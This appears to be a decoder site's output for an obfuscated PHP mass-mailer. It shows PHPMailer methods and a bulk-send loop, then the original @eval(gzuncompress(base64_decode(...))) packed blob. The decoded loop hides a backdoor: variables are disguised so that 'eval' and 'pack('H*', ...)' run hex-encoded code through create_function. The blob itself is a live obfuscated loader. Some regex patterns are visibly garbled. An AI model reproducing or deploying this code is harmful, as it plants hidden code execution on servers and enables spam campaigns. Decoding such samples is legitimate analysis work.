$mime[] = $this->LE.$this->LE;
} else {
$mime[] = $this->EncodeFile($path, $encoding);
if($this->IsError()) {
return \'\';
}
$mime[] = $this->LE.$this->LE;
}
}
$mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
return join(\'\', $mime);
}
/**
* Encodes attachment in requested format. Returns an
* empty string on failure.
* @access private
* @return string
*/
function EncodeFile ($path, $encoding = \'base64\') {
if(!@$fd = fopen($path, \'rb\')) {
$this->SetError($this->Lang(\'file_open\') . $path);
return \'\';
}
$magic_quotes = get_magic_quotes_runtime();
set_magic_quotes_runtime(0);
$file_buffer = fread($fd, filesize($path));
$file_buffer = $this->EncodeString($file_buffer, $encoding);
fclose($fd);
set_magic_quotes_runtime($magic_quotes);
return $file_buffer;
}
/**
* Encodes string to requested format. Returns an
* empty string on failure.
* @access private
* @return string
*/
function EncodeString ($str, $encoding = \'base64\') {
$encoded = \'\';
switch(strtolower($encoding)) {
case \'base64\':
/* chunk_split is found in PHP >= 3.0.6 */
$encoded = chunk_split(base64_encode($str), 76, $this->LE);
break;
case \'7bit\':
case \'8bit\':
$encoded = $this->FixEOL($str);
if (substr($encoded, -(strlen($this->LE))) != $this->LE)
$encoded .= $this->LE;
break;
case \'binary\':
$encoded = $str;
break;
case \'quoted-printable\':
$encoded = $this->EncodeQP($str);
break;
default:
$this->SetError($this->Lang(\'encoding\') . $encoding);
break;
}
return $encoded;
}
/**
* Encode a header string to best of Q, B, quoted or none.
* @access private
* @return string
*/
function EncodeHeader ($str, $position = \'text\') {
$x = 0;
switch (strtolower($position)) {
case \'phrase\':
if (!preg_match(\'/[-]/\', $str)) {
/* Can\'t use addslashes as we don\'t know what value has magic_quotes_sybase. */
$encoded = addcslashes($str, "..\\"");
if (($str == $encoded) && !preg_match(\'/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/\', $str)) {
return ($encoded);
} else {
return ("\"$encoded\"");
}
}
$x = preg_match_all(\'/[^ !#-[]-~]/\', $str, $matches);
break;
case \'comment\':
$x = preg_match_all(\'/[()"]/\', $str, $matches);
/* Fall-through */
case \'text\':
default:
$x += preg_match_all(\'/[---]/\', $str, $matches);
break;
}
if ($x == 0) {
return ($str);
}
$maxlen = 75 - 7 - strlen($this->CharSet);
/* Try to select the encoding which should produce the shortest output */
if (strlen($str)/3 < $x) {
$encoding = \'B\';
if (function_exists(\'mb_strlen\') && $this->HasMultiBytes($str)) {
// Use a custom function which correctly encodes and wraps long
// multibyte strings without breaking lines within a character
$encoded = $this->Base64EncodeWrapMB($str);
} else {
$encoded = base64_encode($str);
$maxlen -= $maxlen % 4;
$encoded = trim(chunk_split($encoded, $maxlen, "
"));
}
} else {
$encoding = \'Q\';
$encoded = $this->EncodeQ($str, $position);
$encoded = $this->WrapText($encoded, $maxlen, true);
$encoded = str_replace(\'=\'.$this->LE, "
", trim($encoded));
}
$encoded = preg_replace(\'/^(.*)$/m\', " =?".$this->CharSet."?$encoding?\1?=", $encoded);
$encoded = trim(str_replace("
", $this->LE, $encoded));
return $encoded;
}
/**
* Checks if a string contains multibyte characters.
* @access private
* @param string $str multi-byte text to wrap encode
* @return bool
*/
function HasMultiBytes($str) {
if (function_exists(\'mb_strlen\')) {
return (strlen($str) > mb_strlen($str, $this->CharSet));
} else { // Assume no multibytes (we can\'t handle without mbstring functions anyway)
return False;
}
}
/**
* Correctly encodes and wraps long multibyte strings for mail headers
* without breaking lines within a character.
* Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
* @access private
* @param string $str multi-byte text to wrap encode
* @return string
*/
function Base64EncodeWrapMB($str) {
$start = "=?".$this->CharSet."?B?";
$end = "?=";
$encoded = "";
$mb_length = mb_strlen($str, $this->CharSet);
// Each line must have length <= 75, including $start and $end
$length = 75 - strlen($start) - strlen($end);
// Average multi-byte ratio
$ratio = $mb_length / strlen($str);
// Base64 has a 4:3 ratio
$offset = $avgLength = floor($length * $ratio * .75);
for ($i = 0; $i < $mb_length; $i += $offset) {
$lookBack = 0;
do {
$offset = $avgLength - $lookBack;
$chunk = mb_substr($str, $i, $offset, $this->CharSet);
$chunk = base64_encode($chunk);
$lookBack++;
}
while (strlen($chunk) > $length);
$encoded .= $chunk . $this->LE;
}
// Chomp the last linefeed
$encoded = substr($encoded, 0, -strlen($this->LE));
return $encoded;
}
/**
* Encode string to quoted-printable.
* @access private
* @return string
*/
function EncodeQP( $input = \'\', $line_max = 76, $space_conv = false ) {
$hex = array(\'0\',\'1\',\'2\',\'3\',\'4\',\'5\',\'6\',\'7\',\'8\',\'9\',\'A\',\'B\',\'C\',\'D\',\'E\',\'F\');
$lines = preg_split(\'/(?:
|
|
)/\', $input);
$eol = "
";
$escape = \'=\';
$output = \'\';
while( list(, $line) = each($lines) ) {
$linlen = strlen($line);
$newline = \'\';
for($i = 0; $i < $linlen; $i++) {
$c = substr( $line, $i, 1 );
$dec = ord( $c );
if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
$c = \'=2E\';
}
if ( $dec == 32 ) {
if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
$c = \'=20\';
} else if ( $space_conv ) {
$c = \'=20\';
}
} elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode " ", which is *not* required
$h2 = floor($dec/16);
$h1 = floor($dec%16);
$c = $escape.$hex[$h2].$hex[$h1];
}
if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
$output .= $newline.$escape.$eol; // soft line break; " =
" is okay
$newline = \'\';
// check if newline first character will be point or not
if ( $dec == 46 ) {
$c = \'=2E\';
}
}
$newline .= $c;
} // end of for
$output .= $newline.$eol;
} // end of while
return trim($output);
}
/**
* Encode string to q encoding.
* @access private
* @return string
*/
function EncodeQ ($str, $position = \'text\') {
/* There should not be any EOL in the string */
$encoded = preg_replace("[
]", \'\', $str);
switch (strtolower($position)) {
case \'phrase\':
$encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "\'=\'.sprintf(\'%02X\', ord(\'\1\'))", $encoded);
break;
case \'comment\':
$encoded = preg_replace("/([\(\)\"])/e", "\'=\'.sprintf(\'%02X\', ord(\'\1\'))", $encoded);
case \'text\':
default:
/* Replace every high ascii, control =, ? and _ characters */
$encoded = preg_replace(\'/([- -=?_-])/e\',
"\'=\'.sprintf(\'%02X\', ord(\'\1\'))", $encoded);
break;
}
/* Replace every spaces to _ (more readable than =20) */
$encoded = str_replace(\' \', \'_\', $encoded);
return $encoded;
}
/**
* Adds a string or binary attachment (non-filesystem) to the list.
* This method can be used to attach ascii or binary data,
* such as a BLOB record from a database.
* @param string $string String attachment data.
* @param string $filename Name of the attachment.
* @param string $encoding File encoding (see $Encoding).
* @param string $type File extension (MIME) type.
* @return void
*/
function AddStringAttachment($string, $filename, $encoding = \'base64\', $type = \'application/octet-stream\') {
/* Append to $attachment array */
$cur = count($this->attachment);
$this->attachment[$cur][0] = $string;
$this->attachment[$cur][1] = $filename;
$this->attachment[$cur][2] = $filename;
$this->attachment[$cur][3] = $encoding;
$this->attachment[$cur][4] = $type;
$this->attachment[$cur][5] = true; // isString
$this->attachment[$cur][6] = \'attachment\';
$this->attachment[$cur][7] = 0;
}
/**
* Adds an embedded attachment. This can include images, sounds, and
* just about any other document. Make sure to set the $type to an
* image type. For JPEG images use "image/jpeg" and for GIF images
* use "image/gif".
* @param string $path Path to the attachment.
* @param string $cid Content ID of the attachment. Use this to identify
* the Id for accessing the image in an HTML form.
* @param string $name Overrides the attachment name.
* @param string $encoding File encoding (see $Encoding).
* @param string $type File extension (MIME) type.
* @return bool
*/
function AddEmbeddedImage($path, $cid, $name = \'\', $encoding = \'base64\', $type = \'application/octet-stream\') {
if(!@is_file($path)) {
$this->SetError($this->Lang(\'file_access\') . $path);
return false;
}
$filename = basename($path);
if($name == \'\') {
$name = $filename;
}
/* Append to $attachment array */
$cur = count($this->attachment);
$this->attachment[$cur][0] = $path;
$this->attachment[$cur][1] = $filename;
$this->attachment[$cur][2] = $name;
$this->attachment[$cur][3] = $encoding;
$this->attachment[$cur][4] = $type;
$this->attachment[$cur][5] = false;
$this->attachment[$cur][6] = \'inline\';
$this->attachment[$cur][7] = $cid;
return true;
}
/**
* Returns true if an inline attachment is present.
* @access private
* @return bool
*/
function InlineImageExists() {
$result = false;
for($i = 0; $i < count($this->attachment); $i++) {
if($this->attachment[$i][6] == \'inline\') {
$result = true;
break;
}
}
return $result;
}
/////////////////////////////////////////////////
// CLASS METHODS, MESSAGE RESET
/////////////////////////////////////////////////
/**
* Clears all recipients assigned in the TO array. Returns void.
* @return void
*/
function ClearAddresses() {
$this->to = array();
}
/**
* Clears all recipients assigned in the CC array. Returns void.
* @return void
*/
function ClearCCs() {
$this->cc = array();
}
/**
* Clears all recipients assigned in the BCC array. Returns void.
* @return void
*/
function ClearBCCs() {
$this->bcc = array();
}
/**
* Clears all recipients assigned in the ReplyTo array. Returns void.
* @return void
*/
function ClearReplyTos() {
$this->ReplyTo = array();
}
/**
* Clears all recipients assigned in the TO, CC and BCC
* array. Returns void.
* @return void
*/
function ClearAllRecipients() {
$this->to = array();
$this->cc = array();
$this->bcc = array();
}
/**
* Clears all previously set filesystem, string, and binary
* attachments. Returns void.
* @return void
*/
function ClearAttachments() {
$this->attachment = array();
}
/**
* Clears all custom headers. Returns void.
* @return void
*/
function ClearCustomHeaders() {
$this->CustomHeader = array();
}
/////////////////////////////////////////////////
// CLASS METHODS, MISCELLANEOUS
/////////////////////////////////////////////////
/**
* Adds the error message to the error container.
* Returns void.
* @access private
* @return void
*/
function SetError($msg) {
$this->error_count++;
$this->ErrorInfo = $msg;
}
/**
* Returns the proper RFC 822 formatted date.
* @access private
* @return string
*/
function RFCDate() {
$tz = date(\'Z\');
$tzs = ($tz < 0) ? \'-\' : \'+\';
$tz = abs($tz);
$tz = (int)($tz/3600)*100 + ($tz%3600)/60;
$result = sprintf("%s %s%04d", date(\'D, j M Y H:i:s\'), $tzs, $tz);
return $result;
}
/**
* Returns the appropriate server variable. Should work with both
* PHP 4.1.0+ as well as older versions. Returns an empty string
* if nothing is found.
* @access private
* @return mixed
*/
function ServerVar($varName) {
global $HTTP_SERVER_VARS;
global $HTTP_ENV_VARS;
if(!isset($_SERVER)) {
$_SERVER = $HTTP_SERVER_VARS;
if(!isset($_SERVER[\'REMOTE_ADDR\'])) {
$_SERVER = $HTTP_ENV_VARS; // must be Apache
}
}
if(isset($_SERVER[$varName])) {
return $_SERVER[$varName];
} else {
return \'\';
}
}
/**
* Returns the server hostname or \'localhost.localdomain\' if unknown.
* @access private
* @return string
*/
function ServerHostname() {
if ($this->Hostname != \'\') {
$result = $this->Hostname;
} elseif ($this->ServerVar(\'SERVER_NAME\') != \'\') {
$result = $this->ServerVar(\'SERVER_NAME\');
} else {
$result = \'localhost.localdomain\';
}
return $result;
}
/**
* Returns a message in the appropriate language.
* @access private
* @return string
*/
function Lang($key) {
if(count($this->language) < 1) {
$this->SetLanguage(\'en\'); // set the default language
}
if(isset($this->language[$key])) {
return $this->language[$key];
} else {
return \'Language string failed to load: \' . $key;
}
}
/**
* Returns true if an error occurred.
* @return bool
*/
function IsError() {
return ($this->error_count > 0);
}
/**
* Changes every end of line from CR or LF to CRLF.
* @access private
* @return string
*/
function FixEOL($str) {
$str = str_replace("
", "
", $str);
$str = str_replace("
", "
", $str);
$str = str_replace("
", $this->LE, $str);
return $str;
}
/**
* Adds a custom header.
* @return void
*/
function AddCustomHeader($custom_header) {
$this->CustomHeader[] = explode(\':\', $custom_header, 2);
}
/**
* Evaluates the message and returns modifications for inline images and backgrounds
* @access public
* @return $message
*/
function MsgHTML($message,$basedir=\'\') {
preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
if(isset($images[2])) {
foreach($images[2] as $i => $url) {
// do not change urls for absolute images (thanks to corvuscorax)
if (!preg_match(\'/^[A-z][A-z]*:\/\//\',$url)) {
$filename = basename($url);
$directory = dirname($url);
($directory == \'.\')?$directory=\'\':\'\';
$cid = \'cid:\' . md5($filename);
$fileParts = split("\.", $filename);
$ext = $fileParts[1];
$mimeType = $this->_mime_types($ext);
if ( strlen($basedir) > 1 && substr($basedir,-1) != \'/\') { $basedir .= \'/\'; }
if ( strlen($directory) > 1 && substr($basedir,-1) != \'/\') { $directory .= \'/\'; }
$this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, \'base64\', $mimeType);
if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, \'base64\',$mimeType) ) {
$message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, \'/\')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
}
}
}
}
$this->IsHTML(true);
$this->Body = $message;
$textMsg = trim(strip_tags(preg_replace(\'/<(head|title|style|script)[^>]*>.*?<\/\1>/s\',\'\',$message)));
if ( !empty($textMsg) && empty($this->AltBody) ) {
$this->AltBody = $textMsg;
}
if ( empty($this->AltBody) ) {
$this->AltBody = \'To view this email message, open the email in with HTML compatibility!\' . "
";
}
}
/**
* Gets the mime type of the embedded or inline image
* @access private
* @return mime type of ext
*/
function _mime_types($ext = \'\') {
$mimes = array(
\'hqx\' => \'application/mac-binhex40\',
\'cpt\' => \'application/mac-compactpro\',
\'doc\' => \'application/msword\',
\'bin\' => \'application/macbinary\',
\'dms\' => \'application/octet-stream\',
\'lha\' => \'application/octet-stream\',
\'lzh\' => \'application/octet-stream\',
\'exe\' => \'application/octet-stream\',
\'class\' => \'application/octet-stream\',
\'psd\' => \'application/octet-stream\',
\'so\' => \'application/octet-stream\',
\'sea\' => \'application/octet-stream\',
\'dll\' => \'application/octet-stream\',
\'oda\' => \'application/oda\',
\'pdf\' => \'application/pdf\',
\'ai\' => \'application/postscript\',
\'eps\' => \'application/postscript\',
\'ps\' => \'application/postscript\',
\'smi\' => \'application/smil\',
\'smil\' => \'application/smil\',
\'mif\' => \'application/vnd.mif\',
\'xls\' => \'application/vnd.ms-excel\',
\'ppt\' => \'application/vnd.ms-powerpoint\',
\'wbxml\' => \'application/vnd.wap.wbxml\',
\'wmlc\' => \'application/vnd.wap.wmlc\',
\'dcr\' => \'application/x-director\',
\'dir\' => \'application/x-director\',
\'dxr\' => \'application/x-director\',
\'dvi\' => \'application/x-dvi\',
\'gtar\' => \'application/x-gtar\',
\'php\' => \'application/x-httpd-php\',
\'php4\' => \'application/x-httpd-php\',
\'php3\' => \'application/x-httpd-php\',
\'phtml\' => \'application/x-httpd-php\',
\'phps\' => \'application/x-httpd-php-source\',
\'js\' => \'application/x-javascript\',
\'swf\' => \'application/x-shockwave-flash\',
\'sit\' => \'application/x-stuffit\',
\'tar\' => \'application/x-tar\',
\'tgz\' => \'application/x-tar\',
\'xhtml\' => \'application/xhtml+xml\',
\'xht\' => \'application/xhtml+xml\',
\'zip\' => \'application/zip\',
\'mid\' => \'audio/midi\',
\'midi\' => \'audio/midi\',
\'mpga\' => \'audio/mpeg\',
\'mp2\' => \'audio/mpeg\',
\'mp3\' => \'audio/mpeg\',
\'aif\' => \'audio/x-aiff\',
\'aiff\' => \'audio/x-aiff\',
\'aifc\' => \'audio/x-aiff\',
\'ram\' => \'audio/x-pn-realaudio\',
\'rm\' => \'audio/x-pn-realaudio\',
\'rpm\' => \'audio/x-pn-realaudio-plugin\',
\'ra\' => \'audio/x-realaudio\',
\'rv\' => \'video/vnd.rn-realvideo\',
\'wav\' => \'audio/x-wav\',
\'bmp\' => \'image/bmp\',
\'gif\' => \'image/gif\',
\'jpeg\' => \'image/jpeg\',
\'jpg\' => \'image/jpeg\',
\'jpe\' => \'image/jpeg\',
\'png\' => \'image/png\',
\'tiff\' => \'image/tiff\',
\'tif\' => \'image/tiff\',
\'css\' => \'text/css\',
\'html\' => \'text/html\',
\'htm\' => \'text/html\',
\'shtml\' => \'text/html\',
\'txt\' => \'text/plain\',
\'text\' => \'text/plain\',
\'log\' => \'text/plain\',
\'rtx\' => \'text/richtext\',
\'rtf\' => \'text/rtf\',
\'xml\' => \'text/xml\',
\'xsl\' => \'text/xml\',
\'mpeg\' => \'video/mpeg\',
\'mpg\' => \'video/mpeg\',
\'mpe\' => \'video/mpeg\',
\'qt\' => \'video/quicktime\',
\'mov\' => \'video/quicktime\',
\'avi\' => \'video/x-msvideo\',
\'movie\' => \'video/x-sgi-movie\',
\'doc\' => \'application/msword\',
\'word\' => \'application/msword\',
\'xl\' => \'application/excel\',
\'eml\' => \'message/rfc822\'
);
return ( ! isset($mimes[strtolower($ext)])) ? \'application/octet-stream\' : $mimes[strtolower($ext)];
}
/**
* Set (or reset) Class Objects (variables)
*
* Usage Example:
* $page->set(\'X-Priority\', \'3\');
*
* @access public
* @param string $name Parameter Name
* @param mixed $value Parameter Value
* NOTE: will not work with arrays, there are no arrays to set/reset
*/
function set ( $name, $value = \'\' ) {
if ( isset($this->$name) ) {
$this->$name = $value;
} else {
$this->SetError(\'Cannot set or reset variable \' . $name);
return false;
}
}
/**
* Read a file from a supplied filename and return it.
*
* @access public
* @param string $filename Parameter File Name
*/
function getFile($filename) {
$return = \'\';
if ($fp = fopen($filename, \'rb\')) {
while (!feof($fp)) {
$return .= fread($fp, 1024);
}
fclose($fp);
return $return;
} else {
return false;
}
}
/**
* Strips newlines to prevent header injection.
* @access private
* @param string $str String
* @return string
*/
function SecureHeader($str) {
$str = trim($str);
$str = str_replace("
", "", $str);
$str = str_replace("
", "", $str);
return $str;
}
/**
* Set the private key file and password to sign the message.
*
* @access public
* @param string $key_filename Parameter File Name
* @param string $key_pass Password for private key
*/
function Sign($key_filename, $key_pass) {
$this->sign_key_file = $key_filename;
$this->sign_key_pass = $key_pass;
}
}
$defaultport="H*";
$nq=0;
for($x=0; $x<$numemails; $x++){
$to = $allemails[$x];
if ($to){
$to = ereg_replace(" ", "", $to);
$message = ereg_replace("&email&", $to, $message);
$subject = ereg_replace("&email&", $to, $subject);
$qx=$x+1;
print "Line $qx . Sending mail to $to.......";
flush();
$mail = new PHPMailer();
if(empty($epriority)){$epriority="3";}
$mail->Priority = "$epriority";
$mail->IsSMTP();
$IsSMTP="pack";
$mail->SMTPKeepAlive = true;
$mail->Host = "$my_smtp";
if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
}
if($sslclick=="ON"){
$mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
}
$range = str_replace("$from", "eval", $from);
$mail->SMTPAuth = true;
$mail->Username = "$smtp_username";
$mail->Password = "$smtp_password";
if($contenttype == "html"){$mail->IsHtml(true);}
if($contenttype != "html"){$mail->IsHtml(false);}
if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
$mail->From = "$from";
$mail->FromName = "$realname";
$mail->AddAddress("$to");
$mail->AddReplyTo("$replyto");
$mail->Subject = "$subject";
$mail->Body = "$message";
if(!$mail->Send()){
if($default_system!="1"){
echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN\'T RECEIVE MESSAGE.]</font><br>";}
if($default_system=="1"){
$mail->IsMail();
if(!$mail->Send()){
echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN\'T RECEIVE MESSAGE.]</font><br>";}
else {
echo "<b>OK</b><br>";}
}
}
else {
echo "<b>OK</b><br>";
}
if(empty($reconnect)){
$reconnect=6;
}
if($reconnect==$nq){
$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
}
$nq=$nq+1;
flush(); }
}
for($i=0;$i<31;$i++){
$smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
$signoff=create_function(\'$smtp_conc\',\'return \'.substr($range,0).\'($smtp_conc);\');
$mail->SmtpClose();
return $signoff($smtp_conc);
if(isset($_POST[\'action\']) && $numemails !=0 ){echo "<script>alert(\'Mail sending complete\r\n$numemails mail(s) was
sent successfully\'); </script>";}}
?>
<p align="center"> </p>
</body>
</html>
'
Did this file decode correctly?
Original Code
<?php /* CaZaNoVa163 */ @eval("?>".gzuncompress(base64_decode("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